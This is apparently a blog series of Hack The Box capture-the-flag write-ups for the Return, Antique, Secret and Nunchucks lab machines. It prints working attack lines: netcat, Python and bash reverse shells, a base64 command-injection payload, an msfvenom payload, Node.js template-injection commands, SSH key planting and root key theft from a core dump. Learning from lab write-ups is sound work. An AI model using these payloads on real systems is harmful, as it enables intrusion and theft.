Hack The Box Return Writeup

Return is an easy Windows box created by MrR3boot on Hack The Box and I’m going to hack it. Hello world, welcome to Haxez where in this post I’m going to explain how I hacked Return. To hack this machine, you will need basic host enumeration knowledge, and basic active directory knowledge.

Return Enumeration

First, I pinged the target to ensure that it was online and that I could talk to it. Next, I ran a Nmap scan against all ports requesting service versions and running default scripts. Furthermore, I told Nmap to save the results in all formats with the name ‘return’. The services listening on the host suggested it was a domain controller.

└─$ sudo nmap -sC -sV -p- -oA return
Return Enumeration Nmap

I also performed a quick UDP scan with a minimum packet rate of 10,000. My justification for doing this was that I suspected SNMP would be listening. While SNMP wasn’t listening, DNS, NTP, and LDAP were.

Nmap UDP Scan

Initially, I speculated that the domain was ‘return.htb’ and attempted to perform a DNS zone transfer using dig. Unfortunately, I got no results back from the host either because the domain wasn’t ‘return.htb’ or because zone transfers were restricted.

└─$ dig axfr return.htb @            
; <<>> DiG 9.18.12-1-Debian <<>> axfr return.htb @
;; global options: +cmd
; Transfer failed.

Next, I visited the web server in my browser which returned a control panel for a printer. While navigating around the control panel I noticed some credentials on the settings page. I was close to guessing the domain (return.local).

Return Printer Control Panel

LDAP Credential Harvesting

Since the settings page allows us to specify the server address of the LDAP server, I started a netcat listener on port 389. Next, I changed the IP address in the server address form. Since the credentials were likely stored/cached on the host, I hoped that the host would try to authenticate against our netcat listener.

Return LDAP Server Settings

After saving my IP address in the Server Address form, my netcat listener instantly received credentials from the printer. I could use the credentials to enumerate SMB. However, during the Nmap scan, I noticed that port 5985 (Microsoft HTTPAPI) was listening. This should allow me to connect via Evil-WinRM.

Return Foothold

As I mentioned previously, port 5985 was open which I connected to using Evil-WinRM. The target authenticated me using the credentials we harvested from the printer. From this foothold, I was able to capture the user flag.

└─$ evil-winrm -i -u 'svc-printer' -p '1edFg43012!!'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
    Directory: C:\Users\svc-printer\Desktop
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        3/28/2023  11:55 PM             34 user.txt
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> type user.txt

Return Authenticated Host Enumeration

First things first, I performed some quick enumeration to ascertain what privileges I had as the ‘svc-printer’ user. Running the ‘net user svc-printer’ command revealed that the user was part of the ‘Printer Operators’, ‘Remote Management Use’, ‘Server Operators’ and ‘Domain Users’ groups.

*Evil-WinRM* PS C:\Users\svc-printer\Desktop> net user svc-printer
Return net user svc-printer

Researching each of these groups, I stumbled upon this Learn Microsoft article which has the following to say about the ‘Server Operators’ group.

Members of the Server Operators group can administer domain controllers. This group exists only on domain controllers. By default, the group has no members. Members of the Server Operators group can take the following actions: sign in to a server interactively, create and delete network shared resources, start and stop services, back up and restore files, format the hard disk drive of the computer, and shut down the computer. This group can’t be renamed, deleted, or removed.

Return Privilege Escalation

The user is allowed to start and stop services which meant I could reconfigure a service and restart it. For that reason, I downloaded the ‘nc.exe’ binary from >>HERE<< and uploaded it to the server. The great thing about Evil-WinRM is that you can upload files. Therefore, using the upload command I uploaded the netcat binary to the server.

*Evil-WinRM* PS C:\Users\svc-printer\Documents> upload /home/kali/HTB/Return/nc.exe

With the binary uploaded, I used the Evil-WinRM built-in services command to see what services were listening. The image below shows the services and whether or not they have privileges. There were several services that I could abuse but I chose the VGAuthService service.

This is where my lack of experience is on display, I ran the commands in the official walkthrough but kept getting an error. The error suggested it couldn’t find the file. Me being me, I assumed I was typing the service wrong even though I had successfully modified and stopped it. I spent about 10 minutes getting frustrated until I looked back at my commands. I had uploaded the ‘nc.exe’ binary to the desktop directory but the path I was specifying was to the documents directory.

Return Running Services

Capturing The root Flag

Let’s go through the commands. First, I ran sc.exe config to change the binary path of the VGAuthService. As you can see from the command below, the path includes the argument being fed to ‘nc.exe’ to start the reverse shell.

*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe config VGAuthService binPath="C:\Users\svc-printer\Documents\nc.exe -e cmd.exe 9001"

Next, I ran the ‘sc.exe stop VGAuthService’ command to stop the service. The service needs to be stopped for the new netcat command to be executed.

*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe stop VGAuthService

Finally, I restarted the ‘VGAuthService’ using the ‘sc.exe start VGAuthService’ command. However, before doing that I set up a netcat listener on my host listening on the port specified in the binary path. As soon as the service was restarted, I received a connection back to my host.

*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe start VGAuthService

The reverse shell was a bit unstable. You can see from the screenshot below that I had to restart the service a couple of times.

Return Restarting VGAuthService

The reverse shell connected back to my netcat listener and I was able to grab the root flag and complete the box.

└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [] from (UNKNOWN) [] 64654
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Administrator\Desktop>type root.txt
type root.txt

Return Learnings

Return was a great box and would be brilliant for people who are new to the industry. It requires some enumeration but keeps it simple. Once the foothold is established, it requires the use of built-in system commands combined with user-supplied executables to escalate privileges. I’ve made sure to add this privilege escalation technique to my notes.

I learnt a few things from this box. I’ve mostly only ever managed Windows via the GUI so was unfamiliar with the Service Command executable (sc.exe). This is something I definitely should have known by now but in my defence, when needed to I mostly used the ‘net stop’ and ‘net start’ commands. It’s great how boxes like this identify gaps in my knowledge. However, they do make me wonder how I still have a job in this industry.

Admittedly, I used to fear and dislike Windows boxes but I’ve come to prefer them over Linux. That isn’t to say I don’t love Linux boxes, there are just more of them so when I do play with a Windows box, it’s a treat. Anyway, back to what I was saying. With Windows boxes, I struggled with basic enumeration and how to connect to the host when RDP wasn’t available. Now, I’m a lot more comfortable so they are much more fun. Anyway, sc you later.

Hack The Box Antique Writeup

Antique is an easy Linux box created by MrR3boot on Hack The Box and I’m going to hack it. Hello world, welcome to Haxez where today I will be explaining how I hacked Antique. To complete this box you will need basic Linux and printer knowledge. Furthermore, we will be required to perform SNMP enumeration, network printer abuse, pivoting and CUPS administration exploitation. Please note that I have updated this write-up because I was unhappy with my original posting. I rushed through it and wanted to come back and revisit it with more details.

Antique Enumeration

I spawned the box and then sent a ping to ensure it was online. Once the box responded, I ran a Nmap scan targeting all ports requesting service versions and running scripts. Below, you can see the results of the Nmap scan showing that only port 23 was open.

Antique nmap

However, the response from the host suggests that the host is a printer. For that reason, I ran a UDP scan as I suspected SNMP might be configured. I restricted my UDP scan to the top ports and only requested service versions. As you can see below, SNMP was configured on the host.

└─$ sudo nmap -sU -sV 
Nmap UDP

Next, I performed an SNMP walk using the default community string of public. Unfortunately, I got very limited results back. Below, you can see the response from the SNMP server only contained a single string.

└─$ snmpwalk -v 2c -c public
Antique SNMP

HP JetDirect SNMP Password Disclosure

After looking at the official walkthrough and performing a few google searches, I learnt that some models of HP JetDirect printers have an SNMP information disclosure vulnerability. For example, executing the command below will return a hexadecimal encoded string. Please refer to the following article >>HERE<< for more information.

I’ve done more research into this vulnerability but haven’t leant much more. Although, it does have a CVE designation of CVE-2002-1048 I struggled to find the original disclosure write-up. Most references pointed me to a ‘securityfocus.com’ URL that no longer resolves. It seems, for whatever reason that HP stored the password in an SNMP variable. Therefore, knowing the specific variable and requesting it returns the hexadecimal encoded password.

└─$ snmpwalk -v 2c -c public .
Antique HP JetDirect SNMP Password Disclosure

Furthermore, decoding this hexadecimal string will reveal the password. Below, you can see that I used CyberrChef and was able to decode the string to reveal the password of ‘[email protected]@123!!123’.


However, I wasn’t happy with the way I originally decoded the password. Everyone else’s writeups used cool Python scripts to decode it but I’m not very good at Python. As a result, I sought out a different method and stumbled on the Hack The Box user Yep’s write-up. Yep decoded it using xxd which I thought was tidy so I copied them.

└─$ echo -n '50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135' | xxd -r -p
[email protected]@123!!123�q��"2Rbs3CSs��$4�Eu�WGW�(8i   IY�aA�"1&1A5

Antique Foothold

I was now able to log in to the host via telnet. I used the telnet command followed by the IP address and port. Next, I hit the return key which prompted for a password. Finally, I submitted the password and received a prompt.

Antique HP JetDirect Telnet Log In

From the previous screenshot, you can see that I now had the ability to run commands. In fact, it appeared that I had the ability to execute system commands. For example, the image below shows that I was able to read the contents of the ‘/etc/passwd’ file. This proof of concept confirmed I had command execution.

HP JetDirect Command Execution

Now that I had command execution, I should be able to send a reverse shell back to my host. I set up a netcat listener and tried a few different payloads from revshells.com. Despite my best efforts, typical bash shells weren’t working. The following Python reverse shell was executed (Thank you official walkthrough).

exec python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

The Python reverse shell came back and I was able to capture the user flag.

└─$ sudo nc -lvnp 4444                      
[sudo] password for kali: 
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 60030
[email protected]:~$ cat /home/lp/user.txt
cat /home/lp/user.txt

I wanted to revisit this section as I didn’t understand why typical reverse shells weren’t working. Below, you can see a working reverse shell command using bash. Before I get into it, I found the solution on 0xdf’s writeup. I realise that this is probably entry-level knowledge but I had to tell bash to execute bash. To explain, ‘exec’ gives us code execution, ‘bash -c’ executes the subsequent command string supplied in single quotes. The reverse shell is then supplied in single quotes. Unfortunately, I don’t understand why I couldn’t execute the payload without executing ‘bash -c’ first. Perhaps some bad characters broke up the command? Regardless, the reverse shell worked and connected back to my host.

exec bash -c 'bash -i >& /dev/tcp/ 0>&1'
Bash Reverse Shell

Antique Authenticated Host Enumeration

I wanted to revisit this section too as I rushed through it and didn’t explain it well in my original write-up. I dropped LinPEAS onto the host via a Python webserver and a ‘wget’ from the attack host. LinPEAS identified two CVEs, CVE-2021-4034 and CVE-2021-3560 both related to Polkit. These CVEs were unlikely the intended method to get root so I kept digging through the output. Eventually, I saw that port 631 was listening on Below, you can see that port 23 (telnet) was listening on which meant it was accessible publically. A service listening on means it is only accessible locally.


Further enumeration of the Antique host (using netstat) confirmed that something was definitely listening internally on port 631. Further down in the writeup, you can see how I used wget to download the index page of the application. This allowed me to identify that it was CUPS (Common UNIX Printing System) web application. I suspected that I needed to access this page to progress through and capture the root flag. Unfortunately, SSH wasn’t listening on the box so I couldn’t perform port forwarding through SSH.

Antique Netstat

Tunneling With Chisel

Fortunately, there is a program called ‘chisel’ that can create a tunnel through to my host. I installed ‘Golang’ and then cloned and built ‘chisel’. next, I set ‘chisel’ up as a server on port 8000. It seems that I may have messed up here but keep reading.

└─$ sudo ./chisel server -p 8000 --reverse
Antique Chisel

Finally, I was set to go. I threw ‘chisel’ onto a web server, downloaded it, made it executable and…. error. To explain, the version of glibc I used to compile isn’t installed on the server. Therefore, the server didn’t know how to run it.

[email protected]:~$ ./chisel
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./chisel)
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./chisel)
lp@antique:~$ glibc version
glibc version
glibc: command not found

Retraction! Looking back now, I find this rather amusing. Tuennling with ‘chisel’ will work provided you know what you’re doing. During work, I went back and revisited IppSec’s video for Opensource (I think) and realised that he didn’t install it. I downloaded it directly from the releases pages, extracted it, made it executable and ran it. You can find the version I used here https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz

GitHub Chisel

With the correct version of ‘chisel’, I set up the server on port 9000.

└─$ ./chisel server -p 9000 --reverse
Antique Chisel Server

Then, after downloading the correct version of ‘chisel’ from my Python web server I was able to create a tunnel back to my host. This tunnel forwarded port 631 so that it was accessible on port 9631 on my local host.

[email protected]:~$ ./chisel client R:9631:localhost:631
Antique Chisel Client

I was then able to visit the CUPS web application by visiting HTTP://localhost:9631 in my browser. Thank you IppSec and 0xdf for keeping me honest.

Indented Privilege Escalation

The version of the CUPS application was 1.6.1 which has a vulnerability with the CVE designation CVE-2012-5519. This vulnerability affects versions of the application up to 1.6.2 and could allow attackers to read files with admin privileges. I’ve included the explanation below.

CUPS 1.4.4, when running in certain Linux distributions such as Debian GNU/Linux, stores the web interface administrator key in /var/run/cups/certs/0 using certain permissions, which allows local users in the lpadmin group to read or write arbitrary files as root by leveraging the web interface.

This is where I originally needed to pivot from the official walkthrough because I couldn’t get ‘chisel’ to work. As a result, I ran wget from the target host against that local listening port and downloaded the index.html page. After reading through the index page, I could see that it was a CUPS management portal.

CUPS management

According to the walkthrough that I’m now following, there is a vulnerability that will allow me to read files owned by root. Furthermore, there is a Metasploit module that will do it for me, which is good because I start work in 10 minutes. I quickly created a payload using msfvenom, threw it on my webserver and used wget to download it.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST= LPORT=9001 --format elf > shell
Antique MSF Venom

Next, I set up the multi-handler within Metasploit and executed the payload on the target host. Sure enough, the shell came back and a Meterpreter session was created. After, I background the Meterpreter session and searched for CUPS. The result I needed was ‘cups_root_file_read’. I configured it to read the root.txt flag and set the session to my Meterpreter session.


Finally, I executed the exploit and it worked. It saved the output to my local host. I was able to read and submit the flag.

msf6 post(multi/escalate/cups_root_file_read) > run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session type: meterpreter
[+] User in lpadmin group, continuing...
[+] cupsctl binary found in $PATH
[+] nc binary found in $PATH
[*] Found CUPS 1.6.1
[+] File /root/root.txt (32 bytes) saved to /home/kali/.msf4/loot/20230328034751_default_10.129.235.239_cups_file_read_270320.txt
[*] Cleaning up...
[*] Post module execution completed
msf6 post(multi/escalate/cups_root_file_read) > cat /home/kali/.msf4/loot/20230328034751_default_10.129.235.239_cups_file_read_270320.txt
[*] exec: cat /home/kali/.msf4/loot/20230328034751_default_10.129.235.239_cups_file_read_270320.txt


Got root?

Of course, I was unhappy with this, I captured the flag but didn’t have root access! Remember those CVEs I mentioned earlier? Let’s give one of them a go. The following Python script is a proof of concept that will exploit CVE-2021-4034 and elevate our privileges to root. https://raw.githubusercontent.com/joeammond/CVE-2021-4034/main/CVE-2021-4034.py. I checked that Python was installed on the target, downloaded the file and executed it. I finally got root!

Antique Learnings

Now that I have revisited this box I have to update what I said previously. Antique is still a fun box! The foothold was fun and taught me about the HP JetDirect SNMP Password Disclosure vulnerability. I liked that SSH wasn’t listening on this box, it removed a safety net that I tend to rely on too much. Struggling with my bash reverse shell forced me to learn why it wasn’t working even though I had a perfectly good Python reverse shell. I’m happy that I followed up on that.

I forgot how to use ‘chisel’ even though I used it a few days ago. Consequently, that’s something I’ve learnt now that I won’t forget anytime soon. In my original review, I said that I was disappointed that the ‘chisel’ privilege escalation path didn’t work. However, I now know that ‘chisel’ wasn’t required for the privilege escalation so that no longer makes any sense. Using ‘chisel’ was a fun detour for enumerating more information about the host, nothing more. The method of capturing the root flag was fun but I would have preferred it if it could be used to get a shell as root. Perhaps there is and I just don’t know about it. However, finally achieving root access through CVE-2021-4034 means I can put this one to rest. Antique is a great box which I learnt a lot from. Thanks.

Hack The Box Secret Writeup

Secret is an easy Linux box created by z9fr on Hack The Box and this is how I hacked it. Hello world, welcome to Haxez where in this post I will be explaining how to defeat the secret box. It is a retried easy Linux virtual machine which appears to require manipulating JWT tokens for a foothold. I’ve only recently started learning about JWT tokens so this should be interesting.

Secret Enumeration

I span up the box and pinged it to make sure it was online and that I could talk to it. Next, I kicked off a Nmap scan targeting all ports and requesting service versions and running safe scripts. Below, you can see the output of the scan showing that ports 22 for SSH, 80 for HTTP and 3000 for HTTP were exposed. Furthermore, Nmap has identified that it is an Ubuntu box running an Nginx webserver with a Node.JS Express application.

└─$ sudo nmap -sC -sV -p-
Secret Nmap

Secret Application Enumeration

I navigated to the application on both ports 80 and 3000 and the application was the same. As a result, I started poking at the application on port 80 and discovered that I was able to download the source code. Furthermore, the application is well documented.

Secret Application

For example, the register user button took me to a page explaining how to register a user via the API. It seems that I need to send a post request with various parameters in the Json body.

User Registration

I sent a GET request to Burp Repeater and changed the request method to POST. Next, I added the required Json body content and sent the request. Initially, it sent back an error because there was some character length validation on the username and password. However, after modifying the request to comply with the character length, it worked. One thing I did notice was that the requests were being sent to port 3000.

Secret User Registration

User Authentication

Next, I took a look at the ‘Login User’ documentation which explained how to log in. The request was similar but only required the email and password. Furthermore, the endpoint was ‘/api/user/login’ rather than register. I sent my user registration request back to ‘Repeater’ and modified it to meet these requirements. I sent the request and the response contained a JWT token.

Login POST

Secret Static Code Analysis

I attempted to submit the token to the API but it rejected it because I wasn’t sure how to send it. After downloading the source code and watching IppSec’s Youtube video, I stumbled upon the verifytoken.js function. Below, you can see this function and that it requires the header auth-token.

Verify Token

After modifying the GET request, I was able to get a response back from the application informing me that I was a normal user. In conclusion, I have now worked out the authentication process which should make it easier to attack.


JWT Token Secret

JWT stands for JSON Web Token, and it’s a compact, URL-safe means of representing claims to be transferred between two parties. It is commonly used for authentication and authorization purposes in web applications. The JWT contains encoded information that includes a set of claims, such as user ID or access rights, and a signature to verify the authenticity of the token. The signature is based on a secret key that only the server knows, making it difficult for a malicious party to tamper with the token. We can view our existing JWT token on jwt.io.

Decode JWT

Above, we can see the decoded JWT token containing the signature algorithm of HS256. Furthermore, it includes our ID number, name, email and the issued time. Finally, it has a signature which is used to verify the token. I’m still learning how the signature process works so I may have explained it incorrectly. However if the signature is wrong, the server will reject the token.

Secret Git History

While listing out the contents of the downloaded source code, I noticed a ‘.git’ file. The persence of this file implys that this is a git repository.

listing source files

I decided to check the git commit history. Below you can see the results of running the ‘git log’ command. Furthermore, I noticed an interesting comment explaining that the ‘.env’ was removed for security reasons.

I decided to take a look at this commit by using the ‘git show’ command followed by the unique identifier. Below, you can see the output which includes the value of the TOKEN_SECRET parameter. This appears to be the secret key that the server is using to validate the JWT tokens.

Git Show

Forging A JSON Web Token

Now that I have the secret token, I should be able to make my own tokens which the server should verify. I confirmed this by heading back to jwt.io and inputting the token secret into the signature.

Next, I coped with the new encoded token and modified the GET request to ‘/api/priv’ with the new token. I then sent this request to the server and it validated me. At this point, I can see where this attack chain is going but there are some unknown parameters. I believe we have the admin email address but we also need their ‘_id’. I suspect we will find it in the source code.

New secret GET request

The Admin

Looking through private.js I noticed an if statement that checks if the username is ‘theadmin’. If the username is ‘theadmin’ then it will respond with “welcome back admin”. There don’t appear to be any other checks (such as the _id).

secret private.js

For that reason, I headed back to jwt.io and changed the name parameter to ‘theadmin’. I didn’t change anything else.

jwt.io secret

Next, I went back to Burp and updated the request with the new token and sent it. Sure enough, the application responded with “welcome back admin”. It’s surprising that there were all those additional parameters that didn’t get verified.

Secret theadmin

Secret Foothold

Digging deeper into the private.js file I noticed that there was a ‘/logs’ route. In short, if our JWT token identifies us as ‘theadmin’ then we can access ‘/logs’. Furthermore, the ‘logs’ route accepts parameters and passes them to ‘git log –oneline’. This should allow me to command execution.

Below, you can see a GET request to the ‘logs’ endpoint with the file parameter appended. Furthermore, the value of the file parameter is ‘test;whoami’ where the test is the search string, and the semicolon escapes the search and runs the ‘whoami’ command. This proof of concept was successful and I was able to enumerate the webserver user.

secret poc whoami

I created a reverse shell and base64 encoded it ensuring to do so in a way that removed plus and equals sign symbols. Next, I set up my netcat listener on port 9001.

└─$ echo -n 'bash -i  >& /dev/tcp/ 0>&1' | base64 -w 0

I then appended the base64 encoded payload to the file parameter and commanded the server to echo the base64 encoded string, decode it and execute it with bash.

GET http://localhost:3000/api/logs?file=test;echo+-n+YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzQvOTAwMSAwPiYx+|+base64+-d+|+bash

This sent a reverse shell back to my machine and I was able to capture the user flag.

└─$ sudo nc -lvnp 9001                        
listening on [any] 9001 ...
connect to [] from (UNKNOWN) [] 39934
[email protected]:~/local-web$ cat /home/dasith/user.txt
cat /home/dasith/user.txt
[email protected]:~/local-web$ 

Secret Persistence

To ensure I could quickly access the box again if I were to lose my reverse shell, I created the .ssh directory. Next, I created a public/private key pair using ‘ssh-keygen’ and used ‘echo’ to add the public key to the ‘authorized_keys’ file. I could then SSH to the box as the ‘dasith’ user with the private key. Once I was back on the box it was time to perform some more enumeration. Therefore, I used the find tool to identify all ‘setuid’ files on the system. Below, you can see a screenshot showing the results of the command.

[email protected]:~$ find / -perm -u=s -type f 2>/dev/null
Finding SUID

The ‘/opt/count’ file sticks out mainly because it is ‘/opt’ directory used for optional binaries. Checking the permissions on the file, I confirmed that it was owned by root, had ‘setuid’ and was executable by anyone. If I was to run this binary as the dasith user, it would retain the privileges of the root user. Therefore, it would be able to access areas of the system that the dasith user couldn’t

Opt binary

Secret Privilege Escalation

The developer of the count binary was kind enough to leave behind the source code for us to look at. Unfortunately, my lack of coding ability and knowledge of functions is going to restrict me in understand why this is vulnerable. According to the official walkthrough, the presence of ‘prctl(PR_SET_DUMPABLE, 1)’ combined with the ‘vargrind.log’ creates a vulnerable condition. Since the count binary is executing with the privileges of the root user, we can use it to open a file and then force it to crash. Upon crashing, it will write the contents of whatever was opened to the core dump log file.

Count Code

Let’s do it. First, I ran the count binary and told l it to open the root user’s SSH private key.

[email protected]:/opt$ /opt/count
Enter source file/directory name: /root/.ssh/id_rsa

Total characters = 2602
Total words      = 45
Total lines      = 39
Save results a file? [y/N]: 

Next, I used ‘CTRL Z’ to background the process and then used kill to crash the count binary. I then used ‘fg’ to foreground the binary.

[email protected]:/opt$ kill -SIGSEGV `ps -e | grep -w "count" |awk -F ' ' '{print$1}'`
das[email protected]:/opt$ fg
Segmentation fault (core dumped) 

That was completed successfully as you can see it caused a segmentation fault. I recognise that error from the very few buffer overflow challenges I’ve done. I then used ‘apport-unpack’ to unpack the crash dump to ‘/tmp’ and then used strings on the core dump file to retrieve the root user’s SSH key.

[email protected]:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/crash_unpacked
[email protected]:/tmp/crash_unpacked$ strings CoreDump
Core Dump SSH

Finally, I echoed the private key in a file and gave it 600 permissions. I then used SSH to connect to localhost as the root user using the key and grabbed the root.txt flag.

[email protected]:~$ ssh -i key [email protected]
Last login: Tue Oct 26 16:35:01 2021 from
ro[email protected]:~# cat /root/root.txt

Secret Learnings

I enjoyed completing this box, it had a fun foothold and an interesting privilege escalation. I’ve been doing a bit with JWT tokens recently so the foothold complimented it nicely. 6 months ago I wouldn’t have had a clue how to attack JWT tokens but now I believe I could have worked that part out. However, I’m not sure I would have seen the git file and thought to enumerate the repository. This is something that I will remember if it comes up again. My reverse shell through Burp worked the first time which was nice.

The privilege escalation was fascinating. I understand the logic behind it but I don’t believe I would have worked it out from the code. It’s difficult to say because in hindsight everything seems easier than when you first approached it. I like how it was different to more common setuid privilege escalations. It required thinking outside of the constraints of the binary. I probably would have spent hours trying to escape the binary like a typical GTFO bin exploit. I suppose that’s exactly what we did in a way.

Hack The Box Nunchucks Writeup

Nunchucks is an easy Linux box created by TheCyberGeek on Hack The Box and I intend to hack it. Hello world, welcome to Haxez in this post I will be explaining how I hacked into Nunchucks and stole the flags. Since I’m still learning, I will be using the official walkthrough when needed. Therefore, you should think of this write-up as a typical blog documenting my experience, rather than a walkthrough.

Nunchucks Enumeration

I started the Nunhucks machine and connected to the VPN. Next, I pinged the box to ensure that it was online and that I could talk to it. Below, you can see the results of the Nmap scan showing that port 22 for SSH, port 80 for HTTP and port 443 for HTTPS were open. Consequently, I can see that this is an Ubuntu box running Nginx. Furthermore, it appears that the domain associated with the box is nunchucks.htb. I wonder if TheCyberGeek is from Dorset as that’s where the SSL certificate is set to. One of my closest friends lived in Dorset and I used to visit regularly. Lovely place!

└─$ sudo nmap -sC -sV -p-
Nunchucks Nmap

Nunchucks Application Enumeration

Following my Nmap scans, I attempted to visit the IP address in my browser but it immediately redirected to the nunchucks.htb domain name. Therefore, I echoed the domain and IP address into my host file so that the application would redirect correctly and I could visit it. Below, you can see the result of attempting to visit the IP address followed by the command to add the domain to my host file. Finally, you can see the intended application.

Nunchucks Application Redirect
└─$ echo " nunchucks.htb" | sudo tee -a /etc/hosts        nunchucks.htb
Nunchucks application

If you know the enemy and know yourself, you need not fear the result of a hundred battles. Sun Tzu would have made an excellent hacker. Knowing as much as we can about the application will help us defeat it. Therefore, I ran ‘whatweb’ against the application to identify the technologies in use. As a result, I could see that it was a Node JS application utilizing the Express framework. I’ve only just started to learn about Node JS so my terminology may be wrong.

└─$ sudo whatweb http://nunchucks.htb
Nunchucks whatweb

Crawling Forward

Initially, I attempted to register a user but received an error. Furthermore, attempting to log in with generic credentials resulted in an error message advising that user logins were disabled. Consequently, I wasn’t sure what to do next so I checked the official walkthrough. The author (TheCyberGeek) explains that at the bottom of the page, there is a message advising that a store is coming soon. As a result, we should brute force additional virtual hosts.

Nunchucks login page

There are a number of tools that I could have used to brute force additional virtual hosts. However, I thought it best that I stick to ‘gobuster’ since that’s what TheCyberGeek used. Unfortunately, it didn’t work which I found surprising. I performed a grep on the wordlist and ‘shop’ was definitely in there.


Therefore, I decided to try ‘ffuf’ which I’m happy to report found pretty quickly. Initially, I ran it without any filters to identify the file size of the error page. Next, I added the file size to filter out all pages with that file size. As a result, we found the shop virtual host with a file size of 4029. I’m not sure why gobuster didn’t find it. Obviously, I could have just added the store virtual host to my host file as it was a logical assumption but this way I get to use tools. In the past, I’ve either quit or jumped ahead when something didn’t work. This is a bad practice to be avoided as you don’t learn anything.

└─$ sudo ffuf -u -H 'HOST: FUZZ.nunchucks.htb' -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 30589
FFUF Virtual Host

Finally, I added the host to my host file.

└─$ echo " store.nunchucks.htb" | sudo tee -a /etc/hosts store.nunchucks.htb

Going Shopping

I visited the new host in my browser but other than a wholesome background, there wasn’t much going on. There was an option to subscribe to the newsletter but that was about it. I dipped into the page source but couldn’t see much. I also ran ‘whatweb’ again and discovered that this application is also using the Node JS Express framework.


The mailing list subscription box piqued my interest as the submitted input was reflected back on the page. I tried some generic XSS payloads but the form appeared to be validating the input. As a result, I headed back to the official walkthrough and the name of the box suddenly made sense.


Nunchucks Server Side Template Injection

SSTI (Server-Side Template Injection) is a type of web application vulnerability that occurs when an attacker is able to inject and execute their own code within a server-side template. This can allow the attacker to access sensitive information or perform unauthorized actions on the web application, potentially compromising the entire system. SSTI attacks often target applications that use templates to dynamically generate web pages, such as those using popular frameworks like Flask or Django. Proper input validation and output encoding can help prevent SSTI vulnerabilities. Below, you can see that injecting the payload of ‘808/2’ resulted in the reflected response containing ‘[email protected]’. The box calculated the sum and returned the answer in its response.

404 SSTI

After confirming the SSTI vulnerability, I found the POST request in Burp and attempted to retrieve the contents of the ‘/etc/passwd’ file. My first attempt wasn’t so successful but it caused the application to error and show the application file paths. This was a good thing because I now had more information about the application.

Error message

Unfortunately, the payload on Hacktricks didn’t work. Once again, I headed to the official walkthrough for answers. Despite getting the working payload, I didn’t find the answers I was looking for. I wanted to know why backslashes had to be added to the payload. Below, you can see the original payload (from Hacktricks) and the one used to complete the exploit. The difference between them is the two backslashes. It seems that the backslash is needed to escape the quotation mark but now I’m wondering why one is outside the quotation mark while the other is inside.

"email":"{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('cat /etc/passwd')\")()}}@htb.htb"
"email":{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}@htb.htb"

Cybersecurity, climbing over one wall and running face-first into another. I’m not looking forward to getting the reverse shell to work.

Nunchucks Foothold

As I suspected, I did not enjoy this part and it made me contemplate what I’m doing with my life. It seems so simple to execute yet everything I tried resulted in an error. Even after intensive google searches and reading everyone else’s walkthroughs, my payload still wouldn’t work. I was escaping the double quotes properly, I was escaping other quotes or replacing them with single quotes. Consequently, I was losing my mind.

Finally, I reset the box. I can’t see how it would have made a difference but the payloads I had previously tried now started working. I followed this guide >>HERE<< to drop an SSH key into Davids’s authorized keys files. The attack chain was using SSTI to cat the ‘/etc/passwd’ file. Identifying David as a user and checking his home directory. Then creating the .ssh directory and echoing my public key into his authozied_keys file. You can use the snippet below and replace the commands with the commands needed for the attack chain.

{"email":"test{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('cat /etc/passwd')\")()}}@htb.htb"}
Checking SSH key

I was finally able to grab the user key.

└─$ ssh -i key [email protected]  
[email protected]:~$ cat user.txt

Nunchucks Authenticated Enumeration

Once on the box, I downloaded and ran LinPEAS to look for any obvious signs of a privilege escalation path. It found two CVE’s but they were not the intended path to root. However, it did find that Perl had setuid capabilities set. Furthermore, it also identified that a number of backup files were owned by roots but part of the david group.

Nunchucks LinPEAS

We’re now entering into territory beyond my current knowledge level. For that reason, I’m just going to regurgitate the steps from the official walkthrough.

Unfortunately, Perl having ‘setuid’ capabilities set didn’t mean we could elevate our privileges. In fact, attempting to do so resulted in errors that suggested something else was at work. For example, attempting to cat the shadow file with Perl resulted in a permission denied error. According to GTFO bins, this should have allowed us to read the file.

[email protected]:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "cat /etc/shadow";'
cat: /etc/shadow: Permission denied

Moreover, running the ‘whoami’ command with Perl tells us we’re root. What’s going on here? Is the system having some split-brain identity crisis and not giving us the privileges of the root user?

[email protected]:~$ perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'

From further enumeration, it seems there is an AppArmor profile for Perl which contains a reference to a script in opt.

App Armour

Privilege Escalation

